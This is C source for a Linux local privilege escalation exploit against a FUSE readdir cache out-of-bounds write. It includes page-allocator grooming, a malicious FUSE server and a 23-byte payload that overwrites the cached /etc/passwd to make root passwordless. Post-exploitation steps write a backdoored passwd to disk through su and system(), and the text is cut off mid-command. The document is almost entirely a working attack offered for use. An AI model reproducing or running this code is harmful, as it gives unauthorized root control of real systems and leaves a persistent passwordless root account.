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| /*
* FUSE readdir cache OOB write - LPE
*
* Bug: fuse_add_dirent_to_cache() does memcpy(addr, dirent, 4120) into
* a 4096-byte page when namelen=4095, overflowing 24 bytes into PFN+1.
*
* Grooming: hold ~10% of free memory to drain PCP, then allocate pool.
* Consecutive pool pages come from buddy splits -> physically adjacent.
*
* PoC flow:
* 1. Drain PCP, allocate pool, pick consecutive pair
* 2. Free "before" page, trigger FUSE readdir -> overflow into "after"
*
* LPE flow:
* 1. Drain PCP, allocate pool, pick consecutive pair
* 2. Evict /etc/passwd, free "after" -> passwd lands on "after" PFN
* 3. Free "before", trigger readdir -> overflow into passwd page cache
* 4. su root (empty password), persist, drop caches, root shell
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <dirent.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/fuse.h>
#include <pthread.h>
#include <stdint.h>
#define PAGE_SZ 4096
#define FUSE_BUFSIZE (64 * 1024)
/* Drain: 1MB blocks, dynamically scaled to ~10% of MemFree */
#define DRAIN_BLOCK_SIZE (256 * PAGE_SZ)
#define DRAIN_MAX_BLOCKS 1024
#define POOL_SIZE 128
static int drain_nblocks = 0;
#define OVERFLOW_NAMELEN 4095
#define OVERFLOW_RECLEN 4120
#define OVERFLOW_CTRL 23
#define FUSE_HDR_SZ 24
/* 23-byte payload: passwordless root entry + comment absorber */
static const char PAYLOAD[OVERFLOW_CTRL] =
"root::0:0:x:.:\n#######";
#define SU_PASSWORD ""
static const char MARKER[OVERFLOW_CTRL] = "DEADBEEF_OOB_WRITE_HIT!";
#define FUSE_ROOT_ID_ 1
#define DIR_NODEID_BASE 100
#define MAX_ATTEMPTS 200
#define WARMUP_ROUNDS 5
static int fuse_fd = -1;
static char *mountpoint = NULL;
static int attempt_num = 0;
static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;
static pthread_cond_t cond_arrived = PTHREAD_COND_INITIALIZER;
static pthread_cond_t cond_respond = PTHREAD_COND_INITIALIZER;
static int readdir_arrived = 0;
static int readdir_respond = 0;
/* Compute drain size from /proc/meminfo (unprivileged) */
static void compute_drain_size(void) {
long free_kb = 0;
FILE *f = fopen("/proc/meminfo", "r");
if (f) {
char line[256];
while (fgets(line, sizeof(line), f))
if (sscanf(line, "MemFree: %ld kB", &free_kb) == 1) break;
fclose(f);
}
if (free_kb <= 0) {
drain_nblocks = 4;
} else {
long drain_bytes = (free_kb / 10) * 1024;
drain_nblocks = (int)(drain_bytes / DRAIN_BLOCK_SIZE);
if (drain_nblocks < 4) drain_nblocks = 4;
if (drain_nblocks > DRAIN_MAX_BLOCKS) drain_nblocks = DRAIN_MAX_BLOCKS;
}
fprintf(stderr, "[drain] MemFree=%ldMB -> drain=%d blocks (%dMB)\n",
free_kb / 1024, drain_nblocks, drain_nblocks);
}
/* /etc/passwd backup saved before any overflows */
static char passwd_backup[16384];
static ssize_t passwd_backup_len = 0;
static char dirent_buf[OVERFLOW_RECLEN];
static void die(const char *msg) { perror(msg); _exit(1); }
static void pin_cpu(int cpu) {
cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof(set), &set);
}
/* ---- FUSE protocol ---- */
static void fuse_reply(uint64_t unique, int32_t error,
const void *data, size_t datalen) {
struct fuse_out_header oh = {
.len = sizeof(oh) + datalen, .error = error, .unique = unique,
};
struct iovec iov[2] = {{ &oh, sizeof(oh) }, { (void*)data, datalen }};
(void)writev(fuse_fd, iov, datalen ? 2 : 1);
}
static void fuse_reply_err(uint64_t u, int e) { fuse_reply(u, -e, NULL, 0); }
static void fill_attr(struct fuse_attr *a, uint64_t ino, int dir) {
memset(a, 0, sizeof(*a)); a->ino = ino;
a->size = dir ? 4096 : 0; a->mode = dir ? (S_IFDIR|0755) : (S_IFREG|0644);
a->nlink = dir ? 2 : 1; a->uid = getuid(); a->gid = getgid(); a->blksize = 4096;
}
static void handle_init(struct fuse_in_header *h, void *body) {
(void)body; struct fuse_init_out out = {0};
out.major = FUSE_KERNEL_VERSION; out.minor = FUSE_KERNEL_MINOR_VERSION;
out.max_background = 16; out.congestion_threshold = 12;
out.max_write = 4096; out.time_gran = 1; out.max_pages = 2;
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_lookup(struct fuse_in_header *h, char *name) {
if (strncmp(name, "trigdir", 7) == 0) {
uint64_t nid = DIR_NODEID_BASE + (uint64_t)attempt_num;
struct fuse_entry_out out = {0};
out.nodeid = nid; out.generation = 1;
fill_attr(&out.attr, nid, 1);
fuse_reply(h->unique, 0, &out, sizeof(out));
} else fuse_reply_err(h->unique, ENOENT);
}
static void handle_getattr(struct fuse_in_header *h) {
struct fuse_attr_out out = {0};
fill_attr(&out.attr, h->nodeid,
h->nodeid == FUSE_ROOT_ID_ || h->nodeid >= DIR_NODEID_BASE);
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_opendir(struct fuse_in_header *h) {
struct fuse_open_out out = {0};
out.fh = 0x100 + attempt_num; out.open_flags = (1<<3); /* FOPEN_CACHE_DIR */
fuse_reply(h->unique, 0, &out, sizeof(out));
}
static void handle_readdir(struct fuse_in_header *h, void *body) {
struct fuse_read_in *ri = body;
if (ri->offset != 0) { fuse_reply(h->unique, 0, NULL, 0); return; }
/* Block until main thread signals us to reply (grooming window) */
pthread_mutex_lock(&mtx);
readdir_arrived = 1; pthread_cond_signal(&cond_arrived);
while (!readdir_respond) pthread_cond_wait(&cond_respond, &mtx);
readdir_respond = 0; readdir_arrived = 0;
pthread_mutex_unlock(&mtx);
fuse_reply(h->unique, 0, dirent_buf, OVERFLOW_RECLEN);
}
static void *fuse_loop(void *arg) {
(void)arg; char buf[FUSE_BUFSIZE];
while (1) {
ssize_t n = read(fuse_fd, buf, sizeof(buf));
if (n < 0) { if (errno == ENODEV || errno == EBADF) break; continue; }
struct fuse_in_header *h = (struct fuse_in_header *)buf;
void *body = buf + sizeof(*h);
switch (h->opcode) {
case FUSE_INIT: handle_init(h, body); break;
case FUSE_LOOKUP: handle_lookup(h, body); break;
case FUSE_GETATTR: handle_getattr(h); break;
case FUSE_OPENDIR: handle_opendir(h); break;
case FUSE_READDIR: handle_readdir(h, body); break;
case FUSE_RELEASEDIR: case FUSE_RELEASE: case FUSE_FLUSH:
fuse_reply(h->unique, 0, NULL, 0); break;
case FUSE_FORGET: break;
case FUSE_STATFS: {
struct fuse_statfs_out s = {0};
s.st.blocks=1000; s.st.bfree=500; s.st.bavail=500;
s.st.namelen=255; s.st.bsize=4096;
fuse_reply(h->unique, 0, &s, sizeof(s)); break;
}
default: fuse_reply_err(h->unique, ENOSYS); break;
}
}
return NULL;
}
/* Build oversized dirent: namelen=4095 -> reclen=4120 -> 24-byte overflow */
static void build_dirent(const char *payload) {
struct fuse_dirent *d = (struct fuse_dirent *)dirent_buf;
memset(dirent_buf, 0, sizeof(dirent_buf));
d->ino = 1000; d->off = 1; d->namelen = OVERFLOW_NAMELEN; d->type = DT_REG;
memset(d->name, 'A', OVERFLOW_NAMELEN);
memcpy(d->name + (PAGE_SZ - FUSE_HDR_SZ), payload, OVERFLOW_CTRL);
dirent_buf[OVERFLOW_RECLEN - 1] = '\n';
}
static void *trigger_readdir(void *arg) {
int a = *(int *)arg; pin_cpu(0);
char path[512];
snprintf(path, sizeof(path), "%s/trigdir_%d", mountpoint, a);
DIR *d = opendir(path);
if (!d) { perror("opendir"); return NULL; }
(void)readdir(d); closedir(d); return NULL;
}
static void finish_readdir(pthread_t trig) {
pthread_mutex_lock(&mtx);
readdir_respond = 1; pthread_cond_signal(&cond_respond);
pthread_mutex_unlock(&mtx);
pthread_join(trig, NULL);
}
/* ---- Page pool with PCP drain ---- */
struct pool_state {
void *drain_blocks[DRAIN_MAX_BLOCKS];
int drain_count;
void *pool[POOL_SIZE];
};
static void alloc_pool(struct pool_state *st) {
/* Drain: hold large blocks to exhaust PCP freelists */
st->drain_count = 0;
for (int i = 0; i < drain_nblocks; i++) {
st->drain_blocks[i] = mmap(NULL, DRAIN_BLOCK_SIZE,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
-1, 0);
if (st->drain_blocks[i] == MAP_FAILED) { st->drain_blocks[i] = NULL; break; }
*(volatile char *)st->drain_blocks[i] = (char)i;
*(volatile char *)(st->drain_blocks[i] + DRAIN_BLOCK_SIZE - PAGE_SZ) = (char)i;
st->drain_count++;
}
/* Pool: consecutive pages are adjacent after PCP drain */
for (int i = 0; i < POOL_SIZE; i++) {
st->pool[i] = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (st->pool[i] != MAP_FAILED)
*(volatile char *)st->pool[i] = (char)i;
}
}
static void free_pool(struct pool_state *st) {
for (int i = 0; i < POOL_SIZE; i++)
if (st->pool[i] && st->pool[i] != MAP_FAILED)
{ munmap(st->pool[i], PAGE_SZ); st->pool[i] = NULL; }
for (int i = 0; i < st->drain_count; i++)
if (st->drain_blocks[i])
{ munmap(st->drain_blocks[i], DRAIN_BLOCK_SIZE); st->drain_blocks[i] = NULL; }
st->drain_count = 0;
}
/* ---- PoC: overflow into own page ---- */
static int attempt_poc(void) {
attempt_num++;
pthread_mutex_lock(&mtx);
readdir_arrived = 0; readdir_respond = 0;
pthread_mutex_unlock(&mtx);
pthread_t trig;
pthread_create(&trig, NULL, trigger_readdir, &attempt_num);
pthread_mutex_lock(&mtx);
while (!readdir_arrived) pthread_cond_wait(&cond_arrived, &mtx);
pthread_mutex_unlock(&mtx);
pin_cpu(0);
struct pool_state st;
memset(&st, 0, sizeof(st));
alloc_pool(&st);
int idx = (attempt_num % (POOL_SIZE - 1));
void *page0 = st.pool[idx];
void *page1 = st.pool[idx + 1];
if (!page0 || page0 == MAP_FAILED || !page1 || page1 == MAP_FAILED) {
free_pool(&st);
finish_readdir(trig);
return 0;
}
memset(page1, 'V', PAGE_SZ);
munmap(page0, PAGE_SZ);
st.pool[idx] = NULL;
finish_readdir(trig);
int hit = (memcmp(page1, MARKER, OVERFLOW_CTRL) == 0);
free_pool(&st);
return hit;
}
/* ---- LPE: overflow into /etc/passwd page cache ---- */
static int attempt_lpe(void) {
attempt_num++;
pin_cpu(0);
struct pool_state st;
memset(&st, 0, sizeof(st));
alloc_pool(&st);
int idx = (attempt_num % (POOL_SIZE - 1));
void *before = st.pool[idx];
void *after = st.pool[idx + 1];
if (!before || before == MAP_FAILED || !after || after == MAP_FAILED) {
free_pool(&st);
return 0;
}
pthread_mutex_lock(&mtx);
readdir_arrived = 0; readdir_respond = 0;
pthread_mutex_unlock(&mtx);
pthread_t trig;
pthread_create(&trig, NULL, trigger_readdir, &attempt_num);
pthread_mutex_lock(&mtx);
while (!readdir_arrived) pthread_cond_wait(&cond_arrived, &mtx);
pthread_mutex_unlock(&mtx);
/* Evict passwd, free "after" -> passwd allocates on "after" PFN */
int passwd_fd = open("/etc/passwd", O_RDONLY);
if (passwd_fd < 0) die("open passwd");
posix_fadvise(passwd_fd, 0, 0, POSIX_FADV_DONTNEED);
munmap(after, PAGE_SZ);
st.pool[idx + 1] = NULL;
char tmp;
(void)pread(passwd_fd, &tmp, 1, 0);
/* Free "before" -> readdir allocates on "before" PFN -> overflow into passwd */
munmap(before, PAGE_SZ);
st.pool[idx] = NULL;
finish_readdir(trig);
char check[80] = {0};
(void)pread(passwd_fd, check, 79, 0);
int hit = (memcmp(check, "root::0:0:x:.:", 14) == 0);
close(passwd_fd);
free_pool(&st);
return hit ? 1 : 0;
}
/* ---- FUSE mount via fusermount3 ---- */
static int setup_fuse(void) {
int sv[2];
mountpoint = strdup("/tmp/fuse_oob_XXXXXX");
if (!mkdtemp(mountpoint)) die("mkdtemp");
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) die("socketpair");
pid_t pid = fork();
if (pid < 0) die("fork");
if (pid == 0) {
close(sv[0]); char e[32];
snprintf(e, sizeof(e), "_FUSE_COMMFD=%d", sv[1]); putenv(e);
execl("/bin/fusermount3", "fusermount3", mountpoint, NULL);
execl("/usr/bin/fusermount3", "fusermount3", mountpoint, NULL);
die("fusermount3");
}
close(sv[1]);
struct msghdr msg = {0}; char cmsg_buf[CMSG_SPACE(sizeof(int))];
char data; struct iovec iov = { &data, 1 };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
if (recvmsg(sv[0], &msg, 0) < 0) die("recvmsg");
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg || cmsg->cmsg_type != SCM_RIGHTS) return -1;
fuse_fd = *(int*)CMSG_DATA(cmsg); close(sv[0]);
int st2; waitpid(pid, &st2, 0);
return (WIFEXITED(st2) && WEXITSTATUS(st2)==0) ? 0 : -1;
}
static void cleanup(void) {
if (!mountpoint) return;
char cmd[256];
snprintf(cmd, sizeof(cmd), "fusermount3 -u %s 2>/dev/null; "
"umount -l %s 2>/dev/null", mountpoint, mountpoint);
(void)system(cmd); rmdir(mountpoint);
}
/* ---- main ---- */
int main(int argc, char **argv) {
int poc_only = 0, num_rounds = 50;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--poc") == 0) poc_only = 1;
else if (strcmp(argv[i], "-n") == 0 && i+1 < argc)
num_rounds = atoi(argv[++i]);
}
setbuf(stdout, NULL); setbuf(stderr, NULL); pin_cpu(0);
compute_drain_size();
printf("=== FUSE readdir OOB - LPE ===\n");
printf("=== drain %dMB + pool %d ===\n\n", drain_nblocks, POOL_SIZE);
if (setup_fuse() < 0) return 1;
printf("[+] FUSE at %s\n", mountpoint);
/* Backup /etc/passwd before any overflows corrupt the page cache */
if (!poc_only) {
int bfd = open("/etc/passwd", O_RDONLY);
if (bfd >= 0) {
passwd_backup_len = read(bfd, passwd_backup, sizeof(passwd_backup) - 1);
close(bfd);
if (passwd_backup_len > 0) {
passwd_backup[passwd_backup_len] = '\0';
FILE *bf = fopen("/tmp/.passwd_backup", "w");
if (bf) { fwrite(passwd_backup, 1, passwd_backup_len, bf); fclose(bf); }
printf("[+] /etc/passwd backed up (%zd bytes)\n", passwd_backup_len);
}
}
}
pthread_t ft; pthread_create(&ft, NULL, fuse_loop, NULL);
usleep(300000);
if (poc_only) {
build_dirent(MARKER);
int hits = 0;
for (int i = 0; i < num_rounds; i++) {
printf("[%3d/%d] ", i+1, num_rounds); fflush(stdout);
int r = attempt_poc();
if (r) { hits++; printf("HIT (%d/%d=%.0f%%)\n", hits,i+1,100.0*hits/(i+1)); }
else printf("miss\n");
usleep(5000);
}
printf("\n=== %d/%d (%.1f%%) ===\n", hits, num_rounds, 100.0*hits/num_rounds);
cleanup(); return (hits > 0) ? 0 : 1;
}
/* Warmup: validate overflow with marker */
printf("--- Warmup ---\n\n");
build_dirent(MARKER);
int wh = 0;
for (int i = 0; i < WARMUP_ROUNDS; i++) {
printf("[*] W%d/%d ... ", i+1, WARMUP_ROUNDS); fflush(stdout);
int r = attempt_poc();
if (r) { wh++; printf("HIT (%d)\n", wh); } else printf("miss\n");
usleep(5000);
}
printf("\n[+] Warmup: %d/%d (%.0f%%)\n", wh, WARMUP_ROUNDS,
100.0*wh/WARMUP_ROUNDS);
if (wh == 0) {
printf("[-] No warmup hits.\n");
cleanup(); return 1;
}
/* LPE: corrupt /etc/passwd */
printf("\n--- LPE ---\n\n");
build_dirent(PAYLOAD);
{ char r[80]={0}; int fd=open("/etc/passwd",O_RDONLY);
if(fd>=0){(void)pread(fd,r,79,0);close(fd);}
char *nl=strchr(r,'\n'); if(nl)*nl=0;
printf("[+] before: %s\n\n", r); }
for (int i = 0; i < MAX_ATTEMPTS; i++) {
printf("[*] LPE %d/%d ... ", i+1, MAX_ATTEMPTS); fflush(stdout);
int result = attempt_lpe();
if (result == 1) {
printf("HIT!\n\n");
printf("[+] Page cache corrupted\n");
/* Post-exploitation: build new passwd from clean backup,
* use su to persist it and drop caches as root */
if (passwd_backup_len > 0) {
char *first_nl = strchr(passwd_backup, '\n');
if (first_nl) {
char new_passwd[16384];
int nlen = snprintf(new_passwd, sizeof(new_passwd),
"root::0:0:root:/root:/bin/sh\n%s",
first_nl + 1);
FILE *fp = fopen("/tmp/.passwd_new", "w");
if (fp) { fwrite(new_passwd, 1, nlen, fp); fclose(fp); }
}
} else {
(void)system(
"tail -n +2 /tmp/.passwd_backup > /tmp/.passwd_tail && "
"echo 'root::0:0:root:/root:/bin/sh' > /tmp/.passwd_new && "
"cat /tmp/.passwd_tail >> /tmp/.passwd_new && "
"rm -f /tmp/.passwd_tail"
);
}
printf("[+] Persisting + dropping caches as root...\n");
(void)system(
"echo '' | su -s /bin/sh -c '"
"cp /tmp/.passwd_new /etc/passwd && "
|
